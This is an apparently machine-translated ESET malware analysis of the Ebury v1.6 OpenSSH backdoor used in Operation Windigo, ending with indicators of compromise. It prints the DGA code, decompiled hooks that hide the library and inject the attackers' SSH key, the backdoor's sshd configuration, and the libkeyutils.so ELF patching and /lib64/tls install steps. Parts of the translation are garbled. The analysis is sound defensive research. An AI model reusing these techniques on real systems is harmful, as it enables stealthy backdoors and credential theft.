Operation Windigo: Linux / Ebury Update / ESET NOD32 Blog

In February 2014, the ESET virus lab introduced an OpenSSH study of the backdoor and the Linux / Ebury malware to steal credentials. Further research showed that this component is the core of a collection of several malware families involved in Operation Windigo. The discovery formed the basis of a report describing this cyber campaign.


In February 2017, we discovered a sample of Ebury with support for new features. The new version number is 1.6.2a. At the time of discovery of this sample, the last version known to us was 1.5.x, identified several months earlier. In the course of further investigation, we realized that the infrastructure responsible for identity theft is still functioning, and Ebury is actively used by Windigo cybergroup.

We initially listed indicators of compromise (IoC) for version 1.4 of Ebury. CERT-Bund has published IoC for version 1.5. This post presents a technical analysis of version 1.6, opened in February 2017, as well as IoC for versions 1.5 and 1.6.

New DGA for backup exfiltration

Ebury v1.4 provides a backup mechanism based on the domain generation algorithm (DGA), which is used when the attacker does not connect to the infected system through the OpenSSH backdoor for three days. Under these conditions, Ebury transfers the collected data using the generated domain. Ebury v1.6 has the same mechanism, but there are small changes in the DGA itself. For these two versions, only constants differ, as shown below.

New Python implementation of Ebury v1.6:

def DGA(domain_no):
    TLDS = [ 'info', 'net', 'biz' ]
    KEY = "fmqzdnvcyelwaibsrxtpkhjguo"
    h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF)
    g = ""
    for i in range(len(h))[::-1]:
        g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
        g += h[i]
    g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)]
    g += '.%s' % TLDS[domain_no % len(TLDS)]
    return g

Differences between DGA in versions 1.4 and 1.6 in Python:

@@ -1,10 +1,10 @@
 def DGA(domain_no):
     KEY = "fmqzdnvcyelwaibsrxtpkhjguo"
-    h = "%x" % ((domain_no * domain_no + 4091073) & 0xFFFFFFFF)
+    h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF)
     g = ""
     for i in range(len(h))[::-1]:
-        g += KEY[((ords(h[i]) * 4906) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
+        g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
         g += h[i]
-    g += KEY[((ords(h[-1]) * 6816) + (len(h) + domain_no - 1)) % len(KEY)]
+    g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)]
     g += '.%s' % TLDS[domain_no % len(TLDS)]
     return g

The first ten domains generated by the DGA: Ebury sequentially tries the generated domain names until it finds one that has a TXT record made by the operator. To verify the domain owner, Ebury checks if the TXT record can be decrypted using the RSA public key embedded in its code. DNS record for larfj7g1vaz3y [.] Net: A domain record is ignored by Ebury. Decrypted information consists of three CSV fields. Here is a sample of the data stored in the DNS record for larfj7g1vaz3y [.] Net for January 2018:

larfj7g1vaz3y.net
idkff7m1lac3g.biz
u2s0k8d1ial3r.info
h9g0q8a1hat3s.net
f2y1j8v1saa3t.biz
xdc1h8n1baw3m.info
raj2p8z1aae3b.net
o9f3v8r1oaj3p.biz
tav4h8n1baw3r.info
hdm5o8e1tas3n.net




-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAOadSGBGG9x/f1/U6KdwxfGzqSj5Bcy4aZpKv77uN4xYdS5HWmEub5Rj
nAvtKybupWb3AUWwN7UPIO+2R+v6hrF+Gh2apcs9I9G7VEBiToi2B6BiZ3Ly68kj
1ojemjtrG+g//Ckw/osESWweSWY4nJFKa5QJzT39ErUZim2FPDmvAgMBAAE=
-----END RSA PUBLIC KEY-----

larfj7g1vaz3y.net. 1737 IN A 78.140.134.7
larfj7g1vaz3y.net. 285 IN TXT "ItTFyJ6tegXn9HkHa+XZX1+fZw0IsfhXl05phu1F7ZXDP4HtKMvrXW8NbUSjY8vkQgDdKsSaSCyrvfkhHodhVQLhIKJJY64HeoInb3m4SCNZNOhx9qjYRnuR0Ci7BHNWakJC/QdoQ4UNKkOrvvb42kN7TU6jqZCYBtusXd37tNg="





larfj7g1vaz3y[.]net:3328801113:1504126800

The first field contains the domain name, so signed data cannot be reused for another domain. The second field is the IP address of the C&C server. The third field contains the UNIX timestamp used as the expiration date of the signed data. Expiration date - a new field added to bypass the sinkhole method, starting with version 1.6. If someone tries to take possession of the domain and IP address of the server to which the stolen data is sent (exfiltration server), the signed data can only be used for a limited period of time. This will reduce the impact of successful syncholing attempts occurring in almost all previous versions of DGA.


Table 1. Decoded information stored in a TXT record

We do not think that the Ebury operators actually hoped to use the backup channel. In the studied samples, we found a lot of bugs, because of which the mechanism cannot be completed. The code clearly did not pass full testing. For this reason, we can assume that Ebury operators rarely lose access to infected machines. Probably they are not worried about the loss of several - under their control, many systems. Why so much effort has been made to implement a non-working mechanism is unknown.

Review of changes
- Somewhat changed DGA (changed constants)
- Added expiration date for checking DNS records of the data collection server
- New registered domain: larfj7g1vaz3y [.] Net
- New IP address of the server to which the stolen data is sent: 198 [.] 105.121.89

New features

New features were added in version 1.6. For unknown reasons, they are not available in all studied samples of this version.

Ebury now uses self-masking techniques, commonly described as a “ user-mode rootkit” (user-mode). To do this, the program intercepts the function readdiror readdir64, each of which is used to compile a list of catalog entries. If the next directory structure returned is the Ebury shared library file, then the trap skips it and produces the next entry instead.

The result of the readdir trap output in the Hex-Rays decompiler: Ebury traps are activated by injecting a dynamic library into each child process . To embed itself in subprocesses, Ebury intercepts

struct dirent *__fastcall readdir(__int64 a1)
{
struct dirent *dir_entry; // rax
struct dirent *dir_entry_1; // rbx
__ino_t inode; // rax

do
{
if ( !readdir_0 )
readdir_0 = F_resolve_func("readdir");
dir_entry = readdir_0(a1);
dir_entry_1 = dir_entry;
if ( !exports_hook_activated )
break;
if ( !dir_entry )
break;
if ( !ebury_inode )
break;
inode = dir_entry->d_ino;
if ( inode != ebury_inode && inode != ebury_lstat_inode )
break;
}
while ( ebury_filename && !strncmp(dir_entry_1->d_name, ebury_filename,
ebury_filename_len_before_extension) );
return dir_entry_1;
}

sshdexecveand uses a dynamic linker variable LD_PRELOAD. Every time a new process is created, Ebury adds to its environment. An article on srvfail.com mentions a thread on a StackExchange of a user whose machine was allegedly compromised by Ebury. The behavior that he describes is consistent with the self-masking techniques we observed in Ebury version 1.6.2a. Earlier versions of Ebury worked on certain versions of OpenSSH and depended on the Linux distribution. Now this is not so. Most practices for applying OpenSSH patches have been replaced with feature hooks. We tried installing Ebury on Debian Jessie, CentOS 7, and Ubuntu Artful machines using the same sample, and it worked in all cases.LD_PRELOAD=





To inject the OpenSSH server configuration, binary code is parsed directly into the Ebury memory sshd, which is displayed in the same process looking for two different functions. He is trying to find an address parse_server_configor process_server_config_line. If the attempt is unsuccessful, it lowers the security features by disabling SELinux Role-Based Access Control and disabling PAM modules. When one of the functions is successfully processed, Ebury uses it during configuration changes sshdwhen using a backdoor.

The configuration used by the backdoor:

PrintLastLog no
PrintMotd no
PasswordAuthentication no
PermitRootLogin yes
UseLogin no
UsePAM no
UseDNS no
ChallengeResponseAuthentication no
LogLevel QUIET
StrictModes no
PubkeyAuthentication yes
AllowUsers n
AllowGroups n
DenyUsers n
DenyGroups n
AuthorizedKeysFile /proc/self/environ
Banner /dev/null
PermitTunnel yes
AllowTcpForwarding yes
PermitOpen any

Ebury authors have also strengthened the backdoor mechanism. Instead of relying on the password encoded in the client-side version of SSH, activating the backdoor now requires a private key for authentication. Perhaps this additional check was added to prevent access to the compromised Ebury server to those who can find the password for the backdoor.

Ebury Operators RSA Public Key: When trying to connect to a backdoor, Ebury changes the option to indicate . It intercepts or and checks if there is an attempt to open or a path containing . The second check can be used as a backup if Ebury cannot process and
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESH
CvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd3BD+ADXDurAlDG
bh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00
H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC/9rqoAdv7Gbc5Y7W8xrNIjOIuxDx
Bx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq6
3E/xqI4tMEQl9BmW1Df5+LjbVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub

AuthorizedKeysFile/proc/self/environopenopen64/proc/self/environ.ssh/authorized_keysparse_server_configprocess_server_config_lineto force the transfer of your configuration. Ebury also intercepts fgets, which is called sshdto read the contents of the authorized_keys file. The global variable is used to make sure that it fgetsis called after opening the authorized_keys file. The trap then fills the buffer with the fgetspublic key of the Ebury operators, so the attacker key is used for authentication.

Result of the output of the fgets trap in the Hex-Rays decompiler: The purpose of the trap for intercepting the memory copy function ( ) has not yet been established. The output of the memcpy trap in the Hex-Rays decompiler:

char *__fastcall fgets_hook(char *s, __int64 size, FILE *stream)
{
int fd_env; // ebp
char *result; // rax

if ( !(backdoor_command & 1) )
return fgets_0(s);
fd_env = fd_proc_self_environ;
if ( fd_proc_self_environ <= 0 || fd_env != fileno(stream) )
return fgets_0(s);
strcpy(
s,
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESHCvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd" "3BD+ADXDurAlDGbh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC" "/9rqoAdv7Gbc5Y7W8xrNIjOIuxDxBx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq63E/xqI4tMEQl9BmW1Df5+Lj"
"bVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\n");
result = s;
fd_proc_self_environ = 0;
return result;
}

memcpy



char *__fastcall memcpy_hook(char *dst, const char *src, size_t len)
{
size_t len_1; // r12
char *result; // rax

len_1 = len;
memcpy_orig(dst, src, len);
if ( len_1 > 0x1F && !strncmp(src, "[email protected],", 0x1EuLL) )
result = memcpy_orig(dst, src + 30, len_1 - 30);
else
result = dst;
return result;
}

We know that the trap is used to remove the chacha20-poly1305 algorithm during the SSH key exchange. It is strange that the authors of Ebury do not want this algorithm to be used.

New installation methods

Ebury used to add a payload to the library libkeyutils.so. The file contained both the legitimate functions of libkeyutils and the malicious Ebury code that was launched at boot time. In case of infection, the file size was larger than usual - we pointed to this as a sign of compromise back in 2014.

We observed how this method was used in version 1.6.2, while Ebury authors came up with new ways to circumvent our indicators of compromise. They still use the file libkeyutils.so, but in a different way.

Based on our observations, scripts and implementation methods differ depending on the Linux distribution of the system under attack.

Debian / Ubuntu

On Debian / Ubuntu systems, Ebury is now being implemented using a new method. Becauselibkeyutils.soloaded by the OpenSSH client and OpenSSH server executables, it remains an interesting target for attackers. Earlier, we noticed that Ebury was installed by changing the symbolic link libkeyutils.so.1to indicate a malicious version of the library. The modified library has a constructor where the Ebury initialization code is stored. Each time the libkeyutils.soconstructor is called, it is called. Thus, each time the client or OpenSSH server starts, Ebury is injected into the process.

The latest deployment method on Debian / Ubuntu is now based on a patch libkeyutils.soto force it to load Ebury stored in a separate file .so. Comparing the original and patched versions, we found that in the section.dynamicThe ELF file header has an extra entry. The record is of type NEEDED (0x01), which indicates the dependency of the executable file and that it is loaded during operation. In the deployment script that we examined, the downloadable library is called libsbr.soand contains malicious Ebury code.

The difference between the dynamic sections of the original and patched libkeyutils.so: The process of applying the patch consists of two steps. First, the string " " must be placed in the table of strings of the binary file. Secondly, a new record of type 0x1 (DT_NEEDED) must be added to the dynamic section of the ELF file headers. Ebury authors replaced the string " " with " ". Because
--- ./libkeyutils.so.1-5 2017-10-13 21:19:24.269521814 -0400
+++ ./libkeyutils.so.1-5.patched 2017-10-13 21:19:17.405092274 -0400
@@ -1,5 +1,5 @@

-Dynamic section at offset 0x2cf8 contains 26 entries:
+Dynamic section at offset 0x2cf8 contains 27 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000e (SONAME) Library soname: [libkeyutils.so.1]
@@ -26,4 +26,5 @@
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0xdf0
0x000000006ffffff9 (RELACOUNT) 3
+ 0x0000000000000001 (NEEDED) Shared library: [libsbr.so]
0x0000000000000000 (NULL) 0x0

libsbr.so__bss_start_\x00libsbr.so__bss_startnot used by a dynamic linker; changing this symbol does not affect library execution. The figure below shows the differences between the original and modified row tables libkeyutils.so.


Figure 1. Differences between the original and patched row tables

Now that the row libsbr.sois stored in the row table, .dynamicyou need to add a new entry to the section . Figure 2 shows the differences between the .dynamic sections of the original and patched libkeyutils.so.


Figure 2. Differences between the .dynamic sections of the original and patched libkeyutils.so The

section .dynamiccontains an Elf64_Dyn array for amd64 binary files and Elf64_Dyn for i386. The definitions of these structures are presented below.

Structures associated with the .dynamic section
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;

typedef struct {
Elf64_Sxword d_tag;
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;

The 64-bit versions are shown below libkeyutils.so. Thus, new entries in the .dynamic section can be written as follows.

New entry in .dynamic: For greater stealth, Ebury operators made sure to patch the MD5 packet amounts . Checking the system for infection using a simple package integrity check is not possible. A similar command will not show errors. Package Integrity Verification Team: When deployed as a separate library, Ebury uses many file names. Below is a list of known file names: - libns2.so - libns5.so - libpw3.so - libpw5.so - libsbr.so - libslr.so CentOS
Elf64_Dyn dyn;
dyn.d_tag = DT_NEEDED;
dyn.d_val = 0x38F;

libkeyutils1

$ dpkg --verify libkeyutils1











Techniques similar to those used for deployment on Debian / Ubuntu apply to CentOS. Attackers patch on libkeyutils.so.1to force loading of additional library. In addition, we noticed a new technique used to implement Ebury in CentOS / RedHat systems. We do not yet know all the details of the installation process, but viewing some online reports has allowed us to make some assumptions about how the implementation works.

We know that Ebury is being deployed as a separate shared object by a file libkeyutilsin a manner similar to a Debian implementation. We observed another installation method, which is supposedly the implementation method in version 1.6. As in previous versions of Ebury, operators created their own versionlibkeyutils.soto which the constructor containing the malicious code was added. Instead of changing libkeyutils.so.1from /lib/or, /lib64/they put their files in a folder /lib{,64}/tls/, since the dynamic linker starts processing dependencies from this directory.

We believe that the process of introducing this version starts with putting Ebury in a folder /lib/tls/or /lib64/tls/, depending on the architecture of the victim’s system. Then the launch ldconfigautomatically creates a symbolic link /lib{,64}/tls/libkeyutils.so.1pointing to the malicious shared object.

Using ldconfig to embed Ebury in / lib64 / tls /: In addition, this is done for a simple uninstall system that does not require manipulating symbolic links and storing backup copies of the original shared object

[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007ff67774f000)
[root@c2093ca76055 lib64]# cp libkeyutils.so.1.5 /lib64/tls/
[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f44ac6ba000)
[root@c2093ca76055 lib64]# ldconfig
[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/tls/libkeyutils.so.1 (0x00007fc12db23000)
[root@c2093ca76055 lib64]# ls -al /lib64/tls
total 24
dr-xr-xr-x 1 root root 4096 Oct 18 14:34 .
dr-xr-xr-x 1 root root 4096 Oct 18 13:25 ..
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5

libkeyutilsеif something goes wrong during implementation. It is enough to delete the malicious file libkeyutils.soin the folder /lib{,64}/tls/and then restart ldconfigit so that the system returns to its original state.

Using ldconfig to remove Ebury: The subdirectory is used with the Linux bootloader function. Due to this, if the CPU supports an additional set of commands, then the command located in this directory gets a higher priority than the “normal” one.

[root@c2093ca76055 tls]# pwd
/lib64/tls
[root@c2093ca76055 tls]# ls -l
total 16
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
[root@c2093ca76055 tls]# rm libkeyutils.so.1.5
[root@c2093ca76055 tls]# ldconfig
[root@c2093ca76055 tls]# ls -l
total 0
[root@c2093ca76055 tls]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f7b89349000)
[root@c2093ca76055 tls]# ls -l /lib64/libkeyutils.so.1
lrwxrwxrwx 1 root root 18 Oct 18 13:25 /lib64/libkeyutils.so.1 -> libkeyutils.so.1.5

tls

Conclusion

Despite the arrestMaxim Senah, Windigo botnet continues to work. Ebury, the main component of the Linux botnet, has gained a number of significant improvements. Now he uses self-masking techniques and new methods of injection into OpenSSH-related processes. In addition, it uses the new Domain Generation Algorithm (DGA) to search for a valid TXT domain record signed by the attackers private key - it contains the IP address of the data collection server. An expiration date has been added to prevent reuse of signed data, which helps to prevent syncing attempts. Windigo operators regularly review published compromise indicators and adapt software to avoid detection. This should be considered when trying to determine the infection of a system using well-known IoCs - the earlier they are published, the more likely they are already out of date.

Compromise indicators

In this section, we publish our compromise indicators that can help determine the latest versions of Ebury. We provide them to help the community determine the infection of their systems, but do not claim to be perfect.

Ebury is now using a UNIX socket to communicate with an external data theft process. In most cases, the socket name begins with " /tmp/dbus-". A real one dbuscan create a socket in a similar way. However, Ebury does this through non-legitimate processes dbus. If the result of the following command is a socket, this is suspicious:

$ lsof -U | grep -F @/tmp/dbus- | grep -v ^dbus

The following is a list of processes that we know that Ebury uses to leak data:
- auditd
- crond
- anacron
- arpd
- acpid
- rsyslogd
- udevd
- systemd-udevd
- atd
- hostname
- sync

On CentOS / Redhat, the presence of a file libkeyutils.so*in /lib/tls/or is suspicious /lib64/tls/.

Launch objdump -x libkeyutils.so.1(or readelf -d libkeyutils.so.1) displays the dynamic section of the ELF file header. Anything with the tag NEEDED (type 1) other than libc or libdl looks suspicious.

$ objdump -x /lib64/libkeyutils.so.1 | grep NEEDED | grep -v -F -e libdl.so -e libc.so

If your machine is infected with an Ebury version with a root space user space, there are many ways to determine this. Ebury implements itself with a dynamic linker LD_PRELOADsystem variable, so we can use another system variable to detect the dynamic linker process. Iflibkeyutilsloaded into some process where it should not be, most likely the system is infected with a version of Ebury with a rootkit enabled. If the following command gives the result, it is also suspicious:

$ LD_DEBUG=symbols /bin/true 2>&1| grep libkeyutils

If you have detected an infected machine, we recommend that you completely reinstall the system , because Windigo sometimes installs additional malware. A machine compromised by Ebury may be infected with other malware. Also, consider that all user credentials and SSH keys are compromised - change all of them .


Table 2. Ebury Related Hashes